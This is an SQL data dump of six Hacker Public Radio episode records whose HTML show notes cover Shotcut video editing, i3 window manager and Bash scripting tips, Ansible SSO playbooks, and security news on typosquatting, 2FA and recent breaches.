(3717,'2022-11-01','Video editing with Shotcut on a low end PC',695,'In this episode I explain how I use the shotcut video editor to edit video on a low end PC.','<h2 id=\"links\">Links</h2>\n<p><a href=\"https://shotcut.org/\">Shotcut video editor website</a></p>\n<h2 id=\"useful-shortcut-keys-for-the-shotcut-video-editor\">Useful\nShortcut keys for the Shotcut video editor</h2>\n<pre><code>C = copy\nV = paste\nA = duplicate\nX = ripple delete\nCtrl + X = ripple delete but send to clipboard\nS = split</code></pre>\n<h2 id=\"tip-not-covered-in-my-podcast\">Tip not covered in my\nPodcast</h2>\n<p>Splits are not fixed and can be adjusted. Once you\'ve split up clips\nand put them in the right order on the timeline you can still adjust the\ncut point even though you previously split the clip because the clip is\nreferenced to the original file in the playlist.</p>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hello and welcome Hacker Public Radio audience my name is Mr X\nwelcome to this podcast. As per usual I\'d like to start by thanking the\npeople at HPR for making this podcast possible. HPR is a Community led\npodcast provided by the community for the community that means you can\ncontribute to. The HPR team have gone to great deal of effort to\nsimplify and streamline the process of providing podcasts. There are\nmany ways to record an episode these days using phones tablets PCs and\nalike. The hardest barrier is sending in your first show. Don\'t get too\nhung up about quality, it\'s more important just to send something in.\nThe sound quality of some of my early shows wasn\'t very good. If I can\ndo it anyone can and you might just get hooked in the process.</p>\n<p>Well it\'s been almost a year since I\'ve sent in a show. Looking at\nthe HPR site my last episode was back in November 2021. I suspect like\nmany others life has become more complicated and I find I have much less\nspare time and because I have much less spare time I have much less time\nto pursue my hobbies and because of this I have less to speak about and\nbecause of this I have less time to record what I\'ve been doing and it\nall turns into to vicious circle. Fortunately I recently had some time\noff work and had a lovely holiday. During the holiday I ended up\nrecording some video which I decided I wanted to edit. I\'ve done some\nvideo editing in the past using various video editing packages. The best\nand most recent of which is shotcut.</p>\n<h2 id=\"specific-details-and-equipment\">Specific details and\nequipment</h2>\n<p>Video resolution 1920 x 1080, Codec h264 mpeg-4, Frame rate 30 frames\nper second.</p>\n<p>Computer Dell Optiplex 780. Fitted with 4 GB of internal RAM and\nonboard video graphics card.</p>\n<p>Shotcut version 22.06.23 Shotcut is a free open-source cross-platform\nvideo editor licenced under the GNU general public licence version\n3.0</p>\n<p>This episode will only cover basic shotcut video editing techniques.\nShotcut contains many advanced features and effects that will not be\ncovered in this episode. A lot of the workflow I&#x2019;ll share with you today\nis intended to get around limitations imposed by my low spec PC</p>\n<p>I\'ll try my best to cover the video editing process in this podcast\nusing words alone; however I am conscious that an accompanying video\nwould make it easier to follow along.</p>\n<h2 id=\"shotcut-workflow\">Shotcut workflow</h2>\n<p>Start by creating a folder to hold all the required media files.\nAudio tracks and sound effects can be added to this folder later. Make\nsure all your video files are using the same frame rate in my case 30\nframes per second.</p>\n<p>Open each video file in VLC one at a time going through each video\nfile looking for the best portions of video. Make a note of where the\nbest portions of the video are by writing down the start and end points\nin minutes and seconds.</p>\n<p>I do this because the interface of VLC is more responsive than\nshortcut and the resolution of displayed video is far greater than the\npreview in shortcut. This makes it quicker and easier to find the best\nportions of video.</p>\n<p>Open shortcut and make sure the new project is set to the same frames\nper second as the media files you\'re working with, in my case 30 frames\nper second. You can check the frame rate of your project by looking at\nthe selected video mode in the new projects window. If you select\nautomatic it will ensure the project resolution and frame rate\nautomatically match that of your media files.</p>\n<p>Start by adding all the video files to the playlist, this can be done\nin a number of ways for example it can be done by clicking on the open\nfile button in the top toolbar or within the open files menu.\nAlternatively you can drag and drop files into the playlist. I find this\nto be the easiest way to add media files to a project. Once this is done\nsave your project.</p>\n<p>Drag the first file from the Playlist to the timeline making sure\nthat the start of the video starts at 0 seconds.</p>\n<p>Click on the timeline in the position where the first start point of\ninterest is needed. Use the S key to split the video at this point.\nDon\'t worry about being too accurate as this can be moved at a later\nstage.</p>\n<p>Repeat this process for the end point of interest.</p>\n<p>Repeat this again for all the other sections of start and end points\nof interest.</p>\n<p>Remove the unwanted sections of video by clicking on a section then\nhitting the delete key. This will remove the unwanted section leaving an\nempty space behind.</p>\n<p>Once all the unwanted sections are removed click on the sections of\nvideo and pull them to the left to close the gaps up. I find it useful\nto leave some space between the good sections of video as it makes it\neasier to see where splits are and makes it easier later on to rearrange\nthe order of the individual clips.</p>\n<p>Check the start and end points of the remaining sections of video to\nsee that the start and end points stop in the correct place. You can do\nthis by clicking the play button on the preview window. The video start\nand end points can be adjusted by dragging the section left or right in\nin the timeline section; this is where leaving spaces Between each\nsection of video can be handy as it allows for fine tuning.</p>\n<p>Add a new blank video track to the timeline to hold the next video.\nNote this wasn\'t required when adding the first video track but it is\nneeded for each subsequent track. A video track can be added by right\nclicking on an empty portion of the timeline and selecting add video\ntrack. Alternatively use the ctrl + I key.</p>\n<p>Drag your second video from the playlist onto the newly created blank\nvideo track in the timeline. As before make sure that the start of the\nvideo starts at 0 seconds.</p>\n<p>Before previewing any section of the second video track click the\nsmall eye shaped hide icon in the left section of the first video track\nlabelled output. This will prevent previewing both video tracks at the\nsame time.</p>\n<p>Repeat the process above of chopping the second video track into\nsections using the S key to split the video up. Remove the unwanted\nsections. Finally adjust the start and end points of the remaining\nsections.</p>\n<p>Repeat the steps above to add the remaining video files one at a time\nfrom the playlist to the timeline.</p>\n<p>When complete you end up with separate video tracks in the timeline\neach containing good sections of video.</p>\n<p>At this stage I can\'t be too specific about how to continue as there\nare a number of different options depending on your particular Project.\nYou can for example start by combining the good sections of video into\none video track by dragging them from one track to another then add if\nrequired an audio track or you can add the audio track first and then\ntry to sync things up to the audio track moving bits and pieces of video\ninto one video track remembering to hide the unwanted sections of video\nby clicking on the small hide eye icons. Don\'t do too much editing\nwithout saving the project. If you get a message about low memory save\nthe project then reopen it.</p>\n<p>To export the final video click on the export button in the toolbar.\nI pick the default option, this creates an H.264/AAC MP4 file suitable\nfor most users and purposes. You can check the frame rate is the same as\nyour original media files by clicking on the advanced tab. Click the\nexport file button and give it a file name. It may take some time to\ncreate the export file. This will be dependent on the speed of your\ncomputer and the length and resolution of your project.</p>\n<p>While Shotcut is far from perfect on my puny PC it is surprisingly\nusable and stable and is the best option I&#x2019;ve found so far.</p>\n<p>Finally here are some general shotcut tips I have when doing video\nediting on a puny PC with limited ram, slow processor and built in\ngraphics card such as mine.</p>\n<h2 id=\"general-tips-when-working-with-a-low-powered-pc\">General Tips\nwhen working with a low powered PC</h2>\n<p>Close all open applications leaving only shortcut open this helps\nwith RAM usage</p>\n<p>Shortcut is surprisingly stable with a feeble PC such as mine. I\nwould still recommend saving your project regularly as it is quick and\nvery easy to do.</p>\n<p>If you get a message about running out of RAM then try not to do too\nmuch more editing before saving the project. Once saved close shotcut\nand then reopen it. The longer your project is and the higher your\nproject resolution the more RAM you will need.</p>\n<p>When you are about to export your final video save the project close\nshortcut reopen shotcut and immediately export your project as any\nprevious editing may be taking up precious ram.</p>\n<p>Be patient when clicking on the timeline to repositioned the play\nhead. Always wait for the preview window to update. This can sometimes\ntake a few seconds.</p>\n<p>When trying to sync video to audio you need to zoom in in quite a\nlong way before getting an audio preview. When doing this and moving the\nplay head you\'ll get a choppy version of the audio with this it is still\nperfectly possible to find the beat of the music allowing you to sync\nyour video to the music. If this doesn\'t seem to work for you then try\nzooming in closer.</p>\n<p>Ok that\'s about it for this podcast. Hope it wasn\'t too boring and it\nmade some sense. If you want to contact me I can be contacted at\nmrxathpr at googlemail.</p>\n<p>Thank you and goodbye.</p>\n',201,0,0,'CC-BY-SA','workflow, tips, video, editing, application',0,0,1),
(3719,'2022-11-03','HPR News',594,'InfoSec; the language of security.','<h1 id=\"infosec-the-language-of-security\">InfoSec; the language of\nsecurity.</h1>\n<h2 id=\"what-is-typosquatting-and-how-do-scammers-use-it\"><a\nhref=\"https://www.howtogeek.com/devops/what-is-typosquatting-and-how-do-scammers-use-it/\">What\nis Typosquatting and How Do Scammers Use it?</a></h2>\n<ul>\n<li>Typosquatting, as an attack, uses modified or misspelled domain\nnames to trick users into visiting fraudulent websites; the heart of\nthis attack is domain name registration. Typosquatting is deployed by\nscammers to defraud unaware users. Attackers will attempt to: mimic\nlogin pages, redirect traffic, download malware, and extort users.</li>\n<li><strong>Past Known Typosquatting Attacks.</strong>\n<ul>\n<li><a\nhref=\"https://thehackernews.com/2021/07/several-malicious-typosquatted-python.html\">Several\nMalicious Typosquatted Python Libraries Found On PyPI\nRepository</a></li>\n<li><a\nhref=\"https://thehackernews.com/2020/04/rubygem-typosquatting-malware.html\">Over\n700 Malicious Typosquatted Libraries Found On RubyGems\nRepository</a></li>\n<li><a\nhref=\"https://blog.rust-lang.org/2022/05/10/malicious-crate-rustdecimal.html\">Security\nadvisory: malicious crate rustdecimal</a></li>\n<li><a\nhref=\"https://blog.sonatype.com/this-week-in-malware-may-13th-edition\">This\nWeek in Malware-Malicious Rust crate, \'colors\' Typosquats</a></li>\n</ul></li>\n<li><strong>Solutions to Typosquatting.</strong>\n<ul>\n<li><a\nhref=\"https://opensource.com/article/20/1/stop-typosquatting-attacks\">How\nto stop typosquatting attacks</a></li>\n<li><a\nhref=\"https://www.howtogeek.com/363735/what-is-a-checksum-and-why-should-you-care/\">What\nIs a Checksum (and Why Should You Care)?</a></li>\n<li><a href=\"https://docs.pi-hole.net/\">PiHole</a></li>\n<li><a href=\"https://design.ubuntu.com/font/\">Ubuntu font\nfamily</a></li>\n</ul></li>\n<li><strong>DNS monitoring services.</strong>\n<ul>\n<li>Link to dnstwister: <a\nhref=\"https://dnstwister.report/\">https://dnstwister.report/</a></li>\n<li>Link to whois: <a\nhref=\"https://www.whois.com/whois\">https://www.whois.com/whois</a></li>\n</ul></li>\n<li><strong>Password Managers.</strong>\n<ul>\n<li>Link to bitwarden: <a\nhref=\"https://bitwarden.com/\">https://bitwarden.com/</a></li>\n<li>Link to keepassxc: <a\nhref=\"https://keepassxc.org/\">https://keepassxc.org/</a></li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"two-factor-and-multifactor-authentication\">Two-factor and\nMultifactor Authentication.</h2>\n<ul>\n<li><p>First, authentication. This is the process of verifying the\nvalidity of something; in our case, user credentials/identity. The most\ncommon way to authenticate is: <em>USERNAME</em> and <em>PASSWORD</em>.\nThis is just a single layer (single-factor authentication) and isn&#x2019;t\nenough to discourage attackers.</p></li>\n<li><p>Second, 2FA (Two-factor Authentication). 2FA increases the\ndifficulty for attackers by providing users an additional layer of\nsecurity to accomplish authentication. Common 2FA methods are: TOTP/OTP\n(<em>the</em> <strong>One Time Password</strong>), Authenticator\nApplications (<a href=\"https://bitwarden.com/\">Bitwarden</a>, <a\nhref=\"https://keepassxc.org/\">KeePassXC</a>,...), and Security Keys (<a\nhref=\"https://www.yubico.com/\">Yubikey</a>). This works similar to ATMs;\nto authenticate the user must provide both knowledge (account\n<strong>PIN</strong>) and a physical object (bank card).</p></li>\n<li><p>Last, but not least, MFA (Multifactor Authentication). Similar to\n2FA, MFA offers users security with the addition of biometrics\n(fingerprint scan, retina scan, facial recognition, and voice\nrecognition). Attackers must overcome the knowledge factor, Possession\nfactor, Inherence/Biometric factor, Time factor, and sometimes Location\nfactor.</p></li>\n<li><p><strong>MORE helpful security information.</strong></p>\n<ul>\n<li><a href=\"https://fidoalliance.org/specifications/\">FIDO Alliance\nSpecifications.</a></li>\n<li><a\nhref=\"https://bitwarden.com/help/bitwarden-field-guide-two-step-login/\">Field\nGuide to Two-Step Login.</a></li>\n</ul></li>\n<li><p><strong>2FA/MFA Known Attacks.</strong></p>\n<ul>\n<li><a\nhref=\"https://www.vice.com/en/article/y3vz5k/booming-underground-market-bots-2fa-otp-paypal-amazon-bank-apple-venmo\">Bots\nThat Steal Your 2FA Codes.</a></li>\n<li><a\nhref=\"https://thenextweb.com/news/hackers-cracking-two-factor-authentication-security-syndication\">hackers\nare cracking two-factor authentication</a></li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','InfoSec, Typosquatting, SFA, 2FA, MFA, Security',0,0,1),
(3718,'2022-11-02','Making Ansible playbooks to configure Single Sign On for popular open source applications',239,'A small introduction into my latest project when I spoke at the recent Nextcloud 2022 conference.','<p>This is a recording of a short introduction into my latest\nproject.</p>\n<p>To help sysadmins everywhere the Onestein organization (an\norganization specialized in Odoo implementations) invested 4 month of\nresearch to create a set of easy to use Ansible playbooks to configure\nsingle sign on (SSO) for popular open source applications to enable them\nto authenticate to a Keycloak server as the central identity\nprovider.</p>\n<p>These playbooks have been published on <a\nhref=\"https://github.com/onesteinbv/project_single_sign_on\"\nclass=\"uri\">https://github.com/onesteinbv/project_single_sign_on</a>.</p>\n<p>The list of supported applications are currently:</p>\n<ul>\n<li>Bitwarden</li>\n<li>Jenkins</li>\n<li>Gitlab</li>\n<li>Keycloak (not SSO, but the identity provider)</li>\n<li>Nextcloud</li>\n<li>Odoo</li>\n<li>Xwiki</li>\n<li>Zabbix</li>\n</ul>\n<p>All playbooks and servers are for Ubuntu servers and are meant to be\nused as a starting point.</p>\n<p>5 minute YouTube talk at the 2022 Nextcloud conference about this\nproject:<br />\n<a href=\"https://www.youtube.com/watch?v=pDPKzo8Bi10\"\nclass=\"uri\">https://www.youtube.com/watch?v=pDPKzo8Bi10</a></p>\n',369,61,0,'CC-BY-SA','ansible, playbooks, sso, keycloak, single sign on',0,0,1),
(3735,'2022-11-25','i3 Tiling Window Manager',953,'i3 Tiling Window Manager with a bonus KDE Plasma integration','<h2 id=\"what-is-i3\"><em><em>What is i3?</em></em></h2>\n<ul>\n<li>Lightweight tiling window manager</li>\n<li>Configured with 2 files\n<ul>\n<li>~/.config/i3/config</li>\n<li>/etc/i3status.conf</li>\n</ul></li>\n</ul>\n<h2 id=\"multi-monitor-support\"><em><em>Multi-monitor\nsupport</em></em></h2>\n<h4 id=\"monitor-properties\"><em><em>Monitor properties</em></em></h4>\n<pre><code>    xrandr -q | grep HDMI</code></pre>\n<ul>\n<li>HDMI-A-0 disconnected primary (normal left inverted right x axis y\naxis)</li>\n</ul>\n<pre><code>    xrandr --prop | grep HDMI</code></pre>\n<ul>\n<li><p>HDMI-A-0 disconnected primary (normal left inverted right x axis\ny axis)</p></li>\n<li><p>supported: Unknown, VGA, DVI-D, HDMI, DP, Wireless,\nNative</p></li>\n</ul>\n<pre><code>    ## dualmonitor.sh\n\n    #!/bin/bash\n    echo &#39;1 for on 2 for off&#39;\n    read monitor\n    if [ $monitor == 1 ]; then\n    xrandr --output HDMI-A-0 --auto --left-of eDP\n    elif [ $monitor == 2 ]; then\n    xrandr --output HDMI-A-0 --off\n    fi</code></pre>\n<h3 id=\"top-keybindings\"><em><em>Top keybindings</em></em></h3>\n<pre><code>Mod + O --&gt; Open Firefox\nMod + Enter --&gt; Open Terminal\nMod + M --&gt; Open the Mutt email client\nMod + Shift + M --&gt; Open the Sylpheed email client\n\nMod1 + D --&gt; Open Dmenu\nMod1 + T --&gt; Open Tenacity</code></pre>\n<h3 id=\"mod-keys\"><em><em>Mod keys</em></em></h3>\n<pre><code>mod1    Alt_L (0x40),  Meta_L (0xcd)\n\nmod4    Super_L (0x85),  Super_R (0x86),  Super_L (0xce),  Hyper_L (0xcf)</code></pre>\n<h3 id=\"area-selection-screenshots\"><em><em>Area selection\nscreenshots</em></em></h3>\n<pre><code>  bindsym --release Shift+Print exec import Pictures/Screenshots/screenshot_&quot;$(date &quot;+%a %b %F_%H-%M-%S&quot;)&quot;.png</code></pre>\n<h3 id=\"screenshot-entire-screen\"><em><em>Screenshot entire\nscreen</em></em></h3>\n<pre><code>  bindsym --release Print exec import -window root Pictures/Screenshots/screenshot_&quot;$(date &quot;+%a %b %F_%H-%M-%S&quot;)&quot;.png</code></pre>\n<h3 id=\"compositor\"><em><em>Compositor</em></em></h3>\n<p>picom</p>\n<h3 id=\"set-wallpaper\"><em><em>Set wallpaper</em></em></h3>\n<pre><code>  exec --no-startup-id feh --bg-fill &quot;~/Pictures/Wallpaper/Star\\ Trek/STAR-TREK-Starships-star-trek-2952089-1024-768.jpg&quot;</code></pre>\n<h3 id=\"i3-with-kde\"><em><em>i3 with KDE</em></em></h3>\n<p><code>systemctl --user mask plasma-kwin_x11.service</code></p>\n<ul>\n<li>plasma-i3.service</li>\n</ul>\n<pre><code>    [Install]\n    WantedBy=plasma-workspace.target\n\n    [Unit]\n    Description=Plasma Custom Window Manager\n    Before=plasma-workspace.target\n\n    [Service]\n    ExecStart=/usr/bin/i3\n    Slice=session.slice\n    Restart=on-failure</code></pre>\n<p><code>systemctl --user daemon-reload</code></p>\n<p><code>systemctl --user enable plasma-i3.service</code></p>\n<h3 id=\"files\"><em><em>Files</em></em></h3>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3735/hpr3735/config\"\ntitle=\"~/.config/i3/config\">~/.config/i3/config</a></p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3735/hpr3735/i3status.conf\"\ntitle=\"/etc/i3status.conf\">/etc/i3status.conf</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/hpr3735/dualmonitor.sh.txt\"\ntitle=\"dualmonitor.sh\">dualmonitor.sh</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/hpr3735/i3_with_kde_plasma_config.conf\"\ntitle=\"i3_with_kde_plasma_config.conf\">i3_with_kde_plasma_config.conf</a></p>\n<h3 id=\"links\"><em><em>Links</em></em></h3>\n<p><a href=\"https://en.wikipedia.org/wiki/Tiling_window_manager\"\ntitle=\"Wikipedia article on i3\">Wikipedia article on i3</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Xinerama\"\ntitle=\"Wikipedia article on Xinerama\">Wikipedia article on\nXinerama</a></p>\n<p><a href=\"https://wiki.archlinux.org/title/I3\"\ntitle=\"Archwiki entry on i3\">Archwiki entry on i3</a></p>\n<p><a href=\"https://i3wm.org/docs/userguide.html\"\ntitle=\"i3 User Guide\">i3 User Guide</a></p>\n<p><a\nhref=\"https://linuxhint.com/kde-plasma-i3wm-arch-plasma-5-25-update\"\ntitle=\"KDE/Plasma with i3wm\">KDE/Plasma with i3wm</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/hpr3735/screenshot_Fri_Oct_2022-10-28_06-29-33.png\"\ntitle=\"Screenshot of i3 with KDE Plasma\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3735/hpr3735/screenshot_Fri_Oct_2022-10-28_06-29-33_thumbnail.png\"\ntitle=\"Click on the thumbnail to see the full picture\"\nalt=\"Screenshot of i3 with KDE Plasma\" /></a></p>\n',318,11,0,'CC-BY-SA','i3wm, window manager, lightweight apps, KDE, KDE Plasma',0,0,1),
(3722,'2022-11-08','Bash snippet - plurals in messages',513,'How to use English singular and plural words in messages','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>Have you ever written a Bash script (or any shell script) where you\ngenerate a message like <code>\'Found 42 files\'</code> and the day comes\nwhen it reports <code>\'Found 1 files\'</code>?</p>\n<p>Have you been irritated by this? I have, and I go to lengths to deal\nproperly with (English) plurals in my Bash scripts.</p>\n<h2 id=\"method-1\">Method 1</h2>\n<p>The simplest solution would be to use an <code>\'if\'</code>\nstatement:</p>\n<pre><code>if [[ $fcount -eq 1 ]]; then\n    echo &quot;Found 1 file&quot;\nelse\n    echo &quot;Found $fcount files&quot;\nfi</code></pre>\n<p>This works, but to have to do it for every message would be a\npain!</p>\n<h2 id=\"method-2\">Method 2</h2>\n<p>The next approach to this problem might be to write a Bash\nfunction.</p>\n<pre><code>pluralise () {\n    local singular=&quot;${1}&quot;\n    local plural=&quot;${2}&quot;\n    local count=&quot;${3}&quot;\n\n    if [[ $count -eq 1 ]]; then\n        echo &quot;$singular&quot;\n    else\n        echo &quot;$plural&quot;\n    fi\n}</code></pre>\n<p>This can be called as follows:</p>\n<pre><code>$ i=1; echo &quot;Found $i $(pluralise &quot;file&quot; &quot;files&quot; $i)&quot;\nFound 1 file\n$ i=42; echo &quot;Found $i $(pluralise &quot;file&quot; &quot;files&quot; $i)&quot;\nFound 42 files</code></pre>\n<p>The string being displayed with <code>echo</code> contains a command\nsubstitution (<code>\'$(command)\'</code>) which returns\n<code>\'file\'</code> or <code>\'files\'</code> depending on the value\ngiven.</p>\n<p>The first two arguments can be more complex than plain strings:</p>\n<pre><code>$ i=1; echo &quot;There $(pluralise &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere is 1 light\n$ i=4; echo &quot;There $(pluralise &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere are 4 lights</code></pre>\n<p>The <a\nhref=\"https://hackerpublicradio.org/eps/hpr3722/hpr3722/pluralise.sh\"><code>pluralise</code>\nfunction</a> is available for download.</p>\n<h2 id=\"method-3\">Method 3</h2>\n<p>The GNU project has developed a set of utilities called the <em>GNU\ngettext utilities</em> consisting of tools and <a\nhref=\"https://www.gnu.org/software/gettext/\">documentation</a> for\ntranslation. This is a large subject which is not suitable for a short\nHPR episode such as this one.</p>\n<p>Among the tools is <code>\'ngettext\'</code> which performs the\nfunction we have been discussing - choosing among plural forms. It also\nimplements translations if desired (and translation files are provided\nas part of the software being developed).</p>\n<p>We will not discuss the translation topic here, but the choice of\nplurals is something that can be used in Bash scripts.</p>\n<p>The <code>\'ngettext\'</code> tool takes three mandatory\nparameters:</p>\n<ul>\n<li><em>MSGID</em> - the singular form of the text</li>\n<li><em>MSGID-PLURAL</em> - the plural form of the text</li>\n<li><em>COUNT</em> - the value used to make the singular/plural\nchoice</li>\n</ul>\n<p>There are other optional parameters and options but they are not\nrelevant here.</p>\n<p>The tool can be used in exactly the same way as the\n<code>\'pluralise\'</code> example above.</p>\n<pre><code>$ i=1; echo &quot;There $(ngettext &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere is 1 light\n$ i=4; echo &quot;There $(ngettext &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere are 4 lights</code></pre>\n<p>Whether you use this or a Bash function is your choice.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I have been using <code>ngettext</code> in my scripts since I\ndiscovered it. If you also need to provide messages in your projects in\nother languages then this might be a good idea.</p>\n<p>I admit that my understanding of the GNU <code>gettext</code> project\nis superficial, so, on reflection it might be better to use a Bash\nfunction, since I don’t currently need all of the features GNU\n<code>gettext</code> provides.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3722/hpr3722/pluralise.sh\">The\n<code>pluralise</code> function</a>. Either add it to the script you’re\ndeveloping or use the <code>\'source\'</code> command to load it.</li>\n<li><a href=\"https://www.gnu.org/software/gettext/\">GNU\n<code>gettext</code> utilities</a>, part of the <em>GNU Translation\nProject</em>.\n<ul>\n<li><a\nhref=\"https://www.gnu.org/software/gettext/manual/html_node/ngettext-Invocation.html\">Documentation\nspecific to <code>ngettext</code></a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash, plural, ngettext',0,0,1),
(3723,'2022-11-09','HPR News',722,'News for the Community, by the Community.','<h1 id=\"hpr-news\">HPR News.</h1>\n<h2 id=\"threat-analysis-your-attack-surface\"><strong>Threat Analysis;\nyour attack surface.</strong></h2>\n<p><a\nhref=\"https://thehackernews.com/2022/10/european-police-arrest-gang-that-hacked.html\">Wireless\nkey fobs compromised in European nations (France, Spain, and\nLatvia)</a>. On October 10, 2022, European authorities arrested 31\nsuspects across three nations. The suspects are believed to be related\nto a cybercrime ring that allegedly advertised an &#x201C;automotive diagnostic\nsolution&#x201D; online and sent out fraudulent packages to their victims. The\nfraudulent packages contained malware and once installed onto the\nvictims vehicle, the attackers were able to unlock the vehicle, start\nthe ignition, then steal the vehicle without the physical key fob.\nEuropean authorities confiscated over &#x20AC;1 million in criminal assets\n(malicious software, tools, and an online domain).</p>\n<p><a\nhref=\"https://thehackernews.com/2022/10/researchers-claim-microsoft-office-365.html\">Microsoft\nOffice 365 has a broken encryption algorithm.</a> Microsoft Office 365\nuses an encryption algorithm called &#x201C;Office 365 Message Encryption&#x201D; to\nsend and receive encrypted email messages. The messages are encrypted in\nan Electronic Codebook (ECB). The U.S. National Institute of Standards\nand Technology (NIST) reported, \"ECB mode encrypts plaintext blocks\nindependently, without randomization; therefore, the inspection of any\ntwo ciphertext blocks reveals whether or not the corresponding plaintext\nblocks are equal\". Emails can be harvested today then decrypted later\nfor future attacks.</p>\n<h2 id=\"user-space\"><strong>User Space.</strong></h2>\n<p><a\nhref=\"https://www.cnet.com/culture/entertainment/netflixs-password-sharing-crackdown-is-coming/#ftag=CAD590a51e\">Netflix\ncrackdown on freeloaders.</a> Netflix is testing in Argentina, the\nDominican Republic, El Salvador, Guatemala, and Honduras Chile, Costa\nRica and Peru <a\nhref=\"https://about.netflix.com/en/news/paying-to-share-netflix-outside-your-household&#39;\">different\nefforts</a> to crackdown on freeloaders. The term &#x201C;freeloaders&#x201D; covers\nthe multiple users sharing a single Netflix account from different\nlocations. Netflix plans to charge an additional $3.00 - $4.00 per\nsubaccount.</p>\n<p><a\nhref=\"https://www.cnet.com/tech/services-and-software/samsung-touts-a-better-connected-smart-home-with-blockchain-security/#ftag=CADe34d7bf\">Samsung\nimplements private blockchain to link user devices.</a> While claiming\nthe private blockchain, &#x201C;has nothing to do with cryptomining&#x201D;, the Knox\nMatrix security system links all your devices together in a private\nblockchain instead using a server based group verification system. The\nsystem, Knox Matrix, is suppose to allow devices to &#x201C;manage themselves&#x201D;\nby auto updating, caching updates for other devices then distributing\nthe updates to other devices on the private blockchain.</p>\n<h2 id=\"toys-for-techs\">Toys for Techs.</h2>\n<ul>\n<li><a href=\"https://junocomputers.com/us/product/juno-tablet/\">Juno\nTablet:</a>\n<ul>\n<li><a href=\"https://www.whois.com/whois/junocomputers.com\">whois\nlookup</a></li>\n<li><a\nhref=\"https://dnstwister.report/search?ed=6a756e6f636f6d7075746572732e636f6d\">DNS\nTwister Report</a></li>\n</ul></li>\n</ul>\n<p>Juno Tablet is a Beta product; overall it works with a few bugs. This\nis a non-refundable product, you will only get store credit.</p>\n<ul>\n<li><p>Price: $429.00 USD.</p></li>\n<li><p>Screen Size: 10.1&#x201D;</p>\n<ul>\n<li>Screen Type: Full HD IPS screen 1920&#xD7;1200 Capacitive touch,\nCapacitive (10-Point) MIPI-DSI.</li>\n<li>Refresh Rate: 60 Hz.</li>\n</ul></li>\n<li><p>CPU: <a\nhref=\"https://www.intel.com/content/www/us/en/products/sku/212329/intel-celeron-processor-n5100-4m-cache-up-to-2-80-ghz/specifications.html\">Intel\nJasper Lake Intel Celeron N5100</a> (4 Cores / 4 Threads) &#x2013; 1.10GHz\n(Turbo 2.80 GHz)</p>\n<ul>\n<li>Graphics: Intel UHD Graphics, Frequency: Base 350 MHz - Max 800\nMHz.</li>\n</ul></li>\n<li><p>Ram (SOLDERED): 8GB 2133 MHz LPDDR4.</p></li>\n<li><p>Storage: 256GB, 512GB, 1TB SSD.</p></li>\n<li><p>Chassis: Plastic.</p></li>\n<li><p>Wireless Card: <a\nhref=\"https://www.intel.com/content/www/us/en/products/sku/99446/intel-wirelessac-9560/specifications.html\">Intel\nWireless AC 9460/9560</a> Jefferson Peak 2.4 and 5GHz + Bluetooth\n4.2.</p></li>\n<li><p>Ports:</p>\n<ul>\n<li>1x USB3.0</li>\n<li>1x Type-C 3.1 (Supports charging + video out)</li>\n<li>1x Mini HDMI</li>\n<li>1x Micro SD</li>\n<li>3.5MM Headphone Jack</li>\n</ul></li>\n<li><p>Built-in Microphone</p></li>\n<li><p><strong>Linux Kernel 5.18+</strong></p></li>\n<li><p>OS:</p>\n<ul>\n<li><a href=\"https://software.manjaro.org/package/phosh#!\">Manjaro\nPhosh</a></li>\n<li><a href=\"https://plasma-mobile.org/get/\">Manjaro Plasma\nMobile</a></li>\n<li><a href=\"https://wiki.mobian-project.org/doku.php?id=intro\">Mobian\nPhosh</a></li>\n<li>Windows 11 (Not included &#x2013; can provide ISO)</li>\n</ul></li>\n<li><p><a href=\"https://en.jingos.com/jingpad-a1/\">JingPad A1, It&#x2019;s the\nWorld&#x2019;s FIRST Consumer-level ARM-based Linux Tablet.</a></p>\n<ul>\n<li>JingPad A1 maybe discontinued: <a\nhref=\"https://www.youtube.com/watch?v=cmBG1Sjgsgk\">https://www.youtube.com/watch?v=cmBG1Sjgsgk</a></li>\n</ul></li>\n<li><p><a href=\"https://wiki.pine64.org/wiki/Ox64\">Pine64&#x2019;s\nOx64.</a></p></li>\n<li><p><strong>RISC-V SBC Info:</strong></p></li>\n<li><p><strong>Ram:</strong></p>\n<ul>\n<li>Embedded 64MB PSRAM</li>\n</ul></li>\n<li><p><strong>Network:</strong></p>\n<ul>\n<li>2.4GHz 1T1R WiFi 802.11 b/g/n</li>\n<li>Bluetooth 5.2</li>\n<li>Zigbee</li>\n<li>10/100Mbps Ethernet (optional, on expansion board)</li>\n</ul></li>\n<li><p><strong>Storage:</strong></p>\n<ul>\n<li>on-board 16Mb (2MB) or 128Mb (16MB) XSPI NOR flash memory.</li>\n<li>microSD - supports SDHC and SDXC</li>\n</ul></li>\n<li><p><strong>Expansion Ports:</strong></p>\n<ul>\n<li>USB 2.0 OTG port</li>\n<li>26 GPIO Pins, including SPI, I2C and UART functionality. Possible\nI2S and GMII expansion.</li>\n<li>Dual lane MiPi CSI port, located at USB-C port, for camera\nmodule.</li>\n</ul></li>\n<li><p><strong>Audio:</strong></p>\n<ul>\n<li>mic (optional, on camera module)</li>\n<li>speaker (optional, on camera module)</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Malware, Security Breach, Hardware, Tablets',0,0,1),
